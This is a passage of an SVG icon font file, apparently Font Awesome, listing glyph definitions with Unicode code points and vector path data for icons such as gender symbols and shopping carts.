d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206
q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307
t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14
t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
    <glyph glyph-name="_491" unicode="&#xf20b;" 
d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5
t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_492" unicode="&#xf20c;" 
d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55
q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410
q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
    <glyph glyph-name="_493" unicode="&#xf20d;" 
d="M915 450h-294l147 551zM1001 128h311l-324 1024h-440l-324 -1024h311l383 314zM1536 1120v-960q0 -118 -85 -203t-203 -85h-960q-118 0 -203 85t-85 203v960q0 118 85 203t203 85h960q118 0 203 -85t85 -203z" />
    <glyph glyph-name="_494" unicode="&#xf20e;" horiz-adv-x="2048" 
d="M2048 641q0 -21 -13 -36.5t-33 -19.5l-205 -356q3 -9 3 -18q0 -20 -12.5 -35.5t-32.5 -19.5l-193 -337q3 -8 3 -16q0 -23 -16.5 -40t-40.5 -17q-25 0 -41 18h-400q-17 -20 -43 -20t-43 20h-399q-17 -20 -43 -20q-23 0 -40 16.5t-17 40.5q0 8 4 20l-193 335
q-20 4 -32.5 19.5t-12.5 35.5q0 9 3 18l-206 356q-20 5 -32.5 20.5t-12.5 35.5q0 21 13.5 36.5t33.5 19.5l199 344q0 1 -0.5 3t-0.5 3q0 36 34 51l209 363q-4 10 -4 18q0 24 17 40.5t40 16.5q26 0 44 -21h396q16 21 43 21t43 -21h398q18 21 44 21q23 0 40 -16.5t17 -40.5
q0 -6 -4 -18l207 -358q23 -1 39 -17.5t16 -38.5q0 -13 -7 -27l187 -324q19 -4 31.5 -19.5t12.5 -35.5zM1063 -158h389l-342 354h-143l-342 -354h360q18 16 39 16t39 -16zM112 654q1 -4 1 -13q0 -10 -2 -15l208 -360l15 -6l188 199v347l-187 194q-13 -8 -29 -10zM986 1438
h-388l190 -200l554 200h-280q-16 -16 -38 -16t-38 16zM1689 226q1 6 5 11l-64 68l-17 -79h76zM1583 226l22 105l-252 266l-296 -307l63 -64h463zM1495 -142l16 28l65 310h-427l333 -343q8 4 13 5zM578 -158h5l342 354h-373v-335l4 -6q14 -5 22 -13zM552 226h402l64 66
l-309 321l-157 -166v-221zM359 226h163v189l-168 -177q4 -8 5 -12zM358 1051q0 -1 0.5 -2t0.5 -2q0 -16 -8 -29l171 -177v269zM552 1121v-311l153 -157l297 314l-223 236zM556 1425l-4 -8v-264l205 74l-191 201q-6 -2 -10 -3zM1447 1438h-16l-621 -224l213 -225zM1023 946
l-297 -315l311 -319l296 307zM688 634l-136 141v-284zM1038 270l-42 -44h85zM1374 618l238 -251l132 624l-3 5l-1 1zM1718 1018q-8 13 -8 29v2l-216 376q-5 1 -13 5l-437 -463l310 -327zM522 1142v223l-163 -282zM522 196h-163l163 -283v283zM1607 196l-48 -227l130 227h-82
zM1729 266l207 361q-2 10 -2 14q0 1 3 16l-171 296l-129 -612l77 -82q5 3 15 7z" />
    <glyph glyph-name="f210" unicode="&#xf210;" 
d="M0 856q0 131 91.5 226.5t222.5 95.5h742l352 358v-1470q0 -132 -91.5 -227t-222.5 -95h-780q-131 0 -222.5 95t-91.5 227v790zM1232 102l-176 180v425q0 46 -32 79t-78 33h-484q-46 0 -78 -33t-32 -79v-492q0 -46 32.5 -79.5t77.5 -33.5h770z" />
    <glyph glyph-name="_496" unicode="&#xf211;" 
d="M934 1386q-317 -121 -556 -362.5t-358 -560.5q-20 89 -20 176q0 208 102.5 384.5t278.5 279t384 102.5q82 0 169 -19zM1203 1267q93 -65 164 -155q-389 -113 -674.5 -400.5t-396.5 -676.5q-93 72 -155 162q112 386 395 671t667 399zM470 -67q115 356 379.5 622t619.5 384
q40 -92 54 -195q-292 -120 -516 -345t-343 -518q-103 14 -194 52zM1536 -125q-193 50 -367 115q-135 -84 -290 -107q109 205 274 370.5t369 275.5q-21 -152 -101 -284q65 -175 115 -370z" />
    <glyph glyph-name="f212" unicode="&#xf212;" horiz-adv-x="2048" 
d="M1893 1144l155 -1272q-131 0 -257 57q-200 91 -393 91q-226 0 -374 -148q-148 148 -374 148q-193 0 -393 -91q-128 -57 -252 -57h-5l155 1272q224 127 482 127q233 0 387 -106q154 106 387 106q258 0 482 -127zM1398 157q129 0 232 -28.5t260 -93.5l-124 1021
q-171 78 -368 78q-224 0 -374 -141q-150 141 -374 141q-197 0 -368 -78l-124 -1021q105 43 165.5 65t148.5 39.5t178 17.5q202 0 374 -108q172 108 374 108zM1438 191l-55 907q-211 -4 -359 -155q-152 155 -374 155q-176 0 -336 -66l-114 -941q124 51 228.5 76t221.5 25
q209 0 374 -102q172 107 374 102z" />
    <glyph glyph-name="_498" unicode="&#xf213;" horiz-adv-x="2048" 
d="M1500 165v733q0 21 -15 36t-35 15h-93q-20 0 -35 -15t-15 -36v-733q0 -20 15 -35t35 -15h93q20 0 35 15t15 35zM1216 165v531q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-531q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM924 165v429q0 20 -15 35t-35 15h-101
q-20 0 -35 -15t-15 -35v-429q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM632 165v362q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-362q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM2048 311q0 -166 -118 -284t-284 -118h-1244q-166 0 -284 118t-118 284
q0 116 63 214.5t168 148.5q-10 34 -10 73q0 113 80.5 193.5t193.5 80.5q102 0 180 -67q45 183 194 300t338 117q149 0 275 -73.5t199.5 -199.5t73.5 -275q0 -66 -14 -122q135 -33 221 -142.5t86 -247.5z" />
    <glyph glyph-name="_499" unicode="&#xf214;" 
d="M0 1536h1536v-1392l-776 -338l-760 338v1392zM1436 209v926h-1336v-926l661 -294zM1436 1235v201h-1336v-201h1336zM181 937v-115h-37v115h37zM181 789v-115h-37v115h37zM181 641v-115h-37v115h37zM181 493v-115h-37v115h37zM181 345v-115h-37v115h37zM207 202l15 34
l105 -47l-15 -33zM343 142l15 34l105 -46l-15 -34zM478 82l15 34l105 -46l-15 -34zM614 23l15 33l104 -46l-15 -34zM797 10l105 46l15 -33l-105 -47zM932 70l105 46l15 -34l-105 -46zM1068 130l105 46l15 -34l-105 -46zM1203 189l105 47l15 -34l-105 -46zM259 1389v-36h-114
v36h114zM421 1389v-36h-115v36h115zM583 1389v-36h-115v36h115zM744 1389v-36h-114v36h114zM906 1389v-36h-114v36h114zM1068 1389v-36h-115v36h115zM1230 1389v-36h-115v36h115zM1391 1389v-36h-114v36h114zM181 1049v-79h-37v115h115v-36h-78zM421 1085v-36h-115v36h115z
M583 1085v-36h-115v36h115zM744 1085v-36h-114v36h114zM906 1085v-36h-114v36h114zM1068 1085v-36h-115v36h115zM1230 1085v-36h-115v36h115zM1355 970v79h-78v36h115v-115h-37zM1355 822v115h37v-115h-37zM1355 674v115h37v-115h-37zM1355 526v115h37v-115h-37zM1355 378
v115h37v-115h-37zM1355 230v115h37v-115h-37zM760 265q-129 0 -221 91.5t-92 221.5q0 129 92 221t221 92q130 0 221.5 -92t91.5 -221q0 -130 -91.5 -221.5t-221.5 -91.5zM595 646q0 -36 19.5 -56.5t49.5 -25t64 -7t64 -2t49.5 -9t19.5 -30.5q0 -49 -112 -49q-97 0 -123 51
h-3l-31 -63q67 -42 162 -42q29 0 56.5 5t55.5 16t45.5 33t17.5 53q0 46 -27.5 69.5t-67.5 27t-79.5 3t-67 5t-27.5 25.5q0 21 20.5 33t40.5 15t41 3q34 0 70.5 -11t51.5 -34h3l30 58q-3 1 -21 8.5t-22.5 9t-19.5 7t-22 7t-20 4.5t-24 4t-23 1q-29 0 -56.5 -5t-54 -16.5
t-43 -34t-16.5 -53.5z" />
    <glyph glyph-name="_500" unicode="&#xf215;" horiz-adv-x="2048" 
d="M863 504q0 112 -79.5 191.5t-191.5 79.5t-191 -79.5t-79 -191.5t79 -191t191 -79t191.5 79t79.5 191zM1726 505q0 112 -79 191t-191 79t-191.5 -79t-79.5 -191q0 -113 79.5 -192t191.5 -79t191 79.5t79 191.5zM2048 1314v-1348q0 -44 -31.5 -75.5t-76.5 -31.5h-1832
q-45 0 -76.5 31.5t-31.5 75.5v1348q0 44 31.5 75.5t76.5 31.5h431q44 0 76 -31.5t32 -75.5v-161h754v161q0 44 32 75.5t76 31.5h431q45 0 76.5 -31.5t31.5 -75.5z" />
    <glyph glyph-name="_501" unicode="&#xf216;" horiz-adv-x="2048" 
d="M1430 953zM1690 749q148 0 253 -98.5t105 -244.5q0 -157 -109 -261.5t-267 -104.5q-85 0 -162 27.5t-138 73.5t-118 106t-109 126t-103.5 132.5t-108.5 126.5t-117 106t-136 73.5t-159 27.5q-154 0 -251.5 -91.5t-97.5 -244.5q0 -157 104 -250t263 -93q100 0 208 37.5
t193 98.5q5 4 21 18.5t30 24t22 9.5q14 0 24.5 -10.5t10.5 -24.5q0 -24 -60 -77q-101 -88 -234.5 -142t-260.5 -54q-133 0 -245.5 58t-180 165t-67.5 241q0 205 141.5 341t347.5 136q120 0 226.5 -43.5t185.5 -113t151.5 -153t139 -167.5t133.5 -153.5t149.5 -113
t172.5 -43.5q102 0 168.5 61.5t66.5 162.5q0 95 -64.5 159t-159.5 64q-30 0 -81.5 -18.5t-68.5 -18.5q-20 0 -35.5 15t-15.5 35q0 18 8.5 57t8.5 59q0 159 -107.5 263t-266.5 104q-58 0 -111.5 -18.5t-84 -40.5t-55.5 -40.5t-33 -18.5q-15 0 -25.5 10.5t-10.5 25.5
q0 19 25 46q59 67 147 103.5t182 36.5q191 0 318 -125.5t127 -315.5q0 -37 -4 -66q57 15 115 15z" />
    <glyph glyph-name="_502" unicode="&#xf217;" horiz-adv-x="1664" 
d="M1216 832q0 26 -19 45t-45 19h-128v128q0 26 -19 45t-45 19t-45 -19t-19 -45v-128h-128q-26 0 -45 -19t-19 -45t19 -45t45 -19h128v-128q0 -26 19 -45t45 -19t45 19t19 45v128h128q26 0 45 19t19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_503" unicode="&#xf218;" horiz-adv-x="1664" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19l-147 -146v293q0 26 -19 45t-45 19t-45 -19t-19 -45v-293l-147 146q-19 19 -45 19t-45 -19t-19 -45t19 -45l256 -256q19 -19 45 -19t45 19l256 256q19 19 19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_504" unicode="&#xf219;" horiz-adv-x="2048" 
d="M212 768l623 -665l-300 665h-323zM1024 -4l349 772h-698zM538 896l204 384h-262l-288 -384h346zM1213 103l623 665h-323zM683 896h682l-204 384h-274zM1510 896h346l-288 384h-262zM1651 1382l384 -512q14 -18 13 -41.5t-17 -40.5l-960 -1024q-18 -20 -47 -20t-47 20
l-960 1024q-16 17 -17 40.5t13 41.5l384 512q18 26 51 26h1152q33 0 51 -26z" />
    <glyph glyph-name="_505" unicode="&#xf21a;" horiz-adv-x="2048" 
d="M1811 -19q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83
q19 19 45 19t45 -19l83 -83zM237 19q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -82l83 82q19 19 45 19t45 -19l83 -82l64 64v293l-210 314q-17 26 -7 56.5t40 40.5l177 58v299h128v128h256v128h256v-128h256v-128h128v-299l177 -58q30 -10 40 -40.5t-7 -56.5l-210 -314
v-293l19 18q19 19 45 19t45 -19l83 -82l83 82q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83zM640 1152v-128l384 128l384 -128v128h-128v128h-512v-128h-128z" />
    <glyph glyph-name="_506" unicode="&#xf21b;" 
d="M576 0l96 448l-96 128l-128 64zM832 0l128 640l-128 -64l-96 -128zM992 1010q-2 4 -4 6q-10 8 -96 8q-70 0 -167 -19q-7 -2 -21 -2t-21 2q-97 19 -167 19q-86 0 -96 -8q-2 -2 -4 -6q2 -18 4 -27q2 -3 7.5 -6.5t7.5 -10.5q2 -4 7.5 -20.5t7 -20.5t7.5 -17t8.5 -17t9 -14
t12 -13.5t14 -9.5t17.5 -8t20.5 -4t24.5 -2q36 0 59 12.5t32.5 30t14.5 34.5t11.5 29.5t17.5 12.5h12q11 0 17.5 -12.5t11.5 -29.5t14.5 -34.5t32.5 -30t59 -12.5q13 0 24.5 2t20.5 4t17.5 8t14 9.5t12 13.5t9 14t8.5 17t7.5 17t7 20.5t7.5 20.5q2 7 7.5 10.5t7.5 6.5
q2 9 4 27zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 61 4.5 118t19 125.5t37.5 123.5t63.5 103.5t93.5 74.5l-90 220h214q-22 64 -22 128q0 12 2 32q-194 40 -194 96q0 57 210 99q17 62 51.5 134t70.5 114q32 37 76 37q30 0 84 -31t84 -31t84 31
t84 31q44 0 76 -37q36 -42 70.5 -114t51.5 -134q210 -42 210 -99q0 -56 -194 -96q7 -81 -20 -160h214l-82 -225q63 -33 107.5 -96.5t65.5 -143.5t29 -151.5t8 -148.5z" />
    <glyph glyph-name="_507" unicode="&#xf21c;" horiz-adv-x="2304" 
d="M2301 500q12 -103 -22 -198.5t-99 -163.5t-158.5 -106t-196.5 -31q-161 11 -279.5 125t-134.5 274q-12 111 27.5 210.5t118.5 170.5l-71 107q-96 -80 -151 -194t-55 -244q0 -27 -18.5 -46.5t-45.5 -19.5h-256h-69q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5
t-131.5 316.5t131.5 316.5t316.5 131.5q76 0 152 -27l24 45q-123 110 -304 110h-64q-26 0 -45 19t-19 45t19 45t45 19h128q78 0 145 -13.5t116.5 -38.5t71.5 -39.5t51 -36.5h512h115l-85 128h-222q-30 0 -49 22.5t-14 52.5q4 23 23 38t43 15h253q33 0 53 -28l70 -105
l114 114q19 19 46 19h101q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-179l115 -172q131 63 275 36q143 -26 244 -134.5t118 -253.5zM448 128q115 0 203 72.5t111 183.5h-314q-35 0 -55 31q-18 32 -1 63l147 277q-47 13 -91 13q-132 0 -226 -94t-94 -226t94 -226
t226 -94zM1856 128q132 0 226 94t94 226t-94 226t-226 94q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94z" />
    <glyph glyph-name="_508" unicode="&#xf21d;" 
d="M1408 0q0 -63 -61.5 -113.5t-164 -81t-225 -46t-253.5 -15.5t-253.5 15.5t-225 46t-164 81t-61.5 113.5q0 49 33 88.5t91 66.5t118 44.5t131 29.5q26 5 48 -10.5t26 -41.5q5 -26 -10.5 -48t-41.5 -26q-58 -10 -106 -23.5t-76.5 -25.5t-48.5 -23.5t-27.5 -19.5t-8.5 -12
q3 -11 27 -26.5t73 -33t114 -32.5t160.5 -25t201.5 -10t201.5 10t160.5 25t114 33t73 33.5t27 27.5q-1 4 -8.5 11t-27.5 19t-48.5 23.5t-76.5 25t-106 23.5q-26 4 -41.5 26t-10.5 48q4 26 26 41.5t48 10.5q71 -12 131 -29.5t118 -44.5t91 -66.5t33 -88.5zM1024 896v-384
q0 -26 -19 -45t-45 -19h-64v-384q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v384h-64q-26 0 -45 19t-19 45v384q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5zM928 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5
t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_509" unicode="&#xf21e;" horiz-adv-x="1792" 
d="M1280 512h305q-5 -6 -10 -10.5t-9 -7.5l-3 -4l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-5 2 -21 20h369q22 0 39.5 13.5t22.5 34.5l70 281l190 -667q6 -20 23 -33t39 -13q21 0 38 13t23 33l146 485l56 -112q18 -35 57 -35zM1792 940q0 -145 -103 -300h-369l-111 221
q-8 17 -25.5 27t-36.5 8q-45 -5 -56 -46l-129 -430l-196 686q-6 20 -23.5 33t-39.5 13t-39 -13.5t-22 -34.5l-116 -464h-423q-103 155 -103 300q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124
t127 -344z" />
    <glyph glyph-name="venus" unicode="&#xf221;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292
q11 134 80.5 249t182 188t245.5 88q170 19 319 -54t236 -212t87 -306zM128 960q0 -185 131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5z" />
    <glyph glyph-name="_511" unicode="&#xf222;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-382 -383q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5
q203 0 359 -126l382 382h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_512" unicode="&#xf223;" horiz-adv-x="1280" 
d="M830 1220q145 -72 233.5 -210.5t88.5 -305.5q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5
t-147.5 384.5q0 167 88.5 305.5t233.5 210.5q-165 96 -228 273q-6 16 3.5 29.5t26.5 13.5h69q21 0 29 -20q44 -106 140 -171t214 -65t214 65t140 171q8 20 37 20h61q17 0 26.5 -13.5t3.5 -29.5q-63 -177 -228 -273zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_513" unicode="&#xf224;" 
d="M1024 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-149 16 -270.5 103t-186.5 223.5t-53 291.5q16 204 160 353.5t347 172.5q118 14 228 -19t198 -103l255 254h-134q-14 0 -23 9t-9 23v64zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_514" unicode="&#xf225;" horiz-adv-x="1792" 
d="M1280 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5t-147.5 384.5q0 201 126 359l-52 53l-101 -111q-9 -10 -22 -10.5t-23 7.5l-48 44q-10 8 -10.5 21.5t8.5 23.5l105 115l-111 112v-134q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9
t-9 23v288q0 26 19 45t45 19h288q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-133l106 -107l86 94q9 10 22 10.5t23 -7.5l48 -44q10 -8 10.5 -21.5t-8.5 -23.5l-90 -99l57 -56q158 126 359 126t359 -126l255 254h-134q-14 0 -23 9t-9 23v64zM832 256q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_515" unicode="&#xf226;" horiz-adv-x="1792" 
d="M1790 1007q12 -155 -52.5 -292t-186 -224t-271.5 -103v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-512v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23
t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292q17 206 164.5 356.5t352.5 169.5q206 21 377 -94q171 115 377 94q205 -19 352.5 -169.5t164.5 -356.5zM896 647q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM576 512q115 0 218 57q-154 165 -154 391
q0 224 154 391q-103 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5zM1152 128v260q-137 15 -256 94q-119 -79 -256 -94v-260h512zM1216 512q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5q-115 0 -218 -57q154 -167 154 -391
q0 -226 -154 -391q103 -57 218 -57z" />
    <glyph glyph-name="_516" unicode="&#xf227;" horiz-adv-x="1920" 
d="M1536 1120q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-31 -182 -166 -312t-318 -156q-210 -29 -384.5 80t-241.5 300q-117 6 -221 57.5t-177.5 133t-113.5 192.5t-32 230
q9 135 78 252t182 191.5t248 89.5q118 14 227.5 -19t198.5 -103l255 254h-134q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q59 -74 93 -169q182 -9 328 -124l255 254h-134q-14 0 -23 9
t-9 23v64zM1024 704q0 20 -4 58q-162 -25 -271 -150t-109 -292q0 -20 4 -58q162 25 271 150t109 292zM128 704q0 -168 111 -294t276 -149q-3 29 -3 59q0 210 135 369.5t338 196.5q-53 120 -163.5 193t-245.5 73q-185 0 -316.5 -131.5t-131.5 -316.5zM1088 -128
q185 0 316.5 131.5t131.5 316.5q0 168 -111 294t-276 149q3 -28 3 -59q0 -210 -135 -369.5t-338 -196.5q53 -120 163.5 -193t245.5 -73z" />
    <glyph glyph-name="_517" unicode="&#xf228;" horiz-adv-x="2048" 
d="M1664 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-32 -180 -164.5 -310t-313.5 -157q-223 -34 -409 90q-117 -78 -256 -93v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23
t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-155 17 -279.5 109.5t-187 237.5t-39.5 307q25 187 159.5 322.5t320.5 164.5q224 34 410 -90q146 97 320 97q201 0 359 -126l255 254h-134q-14 0 -23 9
t-9 23v64zM896 391q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM128 704q0 -185 131.5 -316.5t316.5 -131.5q117 0 218 57q-154 167 -154 391t154 391q-101 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5zM1216 256q185 0 316.5 131.5t131.5 316.5
t-131.5 316.5t-316.5 131.5q-117 0 -218 -57q154 -167 154 -391t-154 -391q101 -57 218 -57z" />
    <glyph glyph-name="_518" unicode="&#xf229;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-213 -214l140 -140q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-140 141l-78 -79q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5
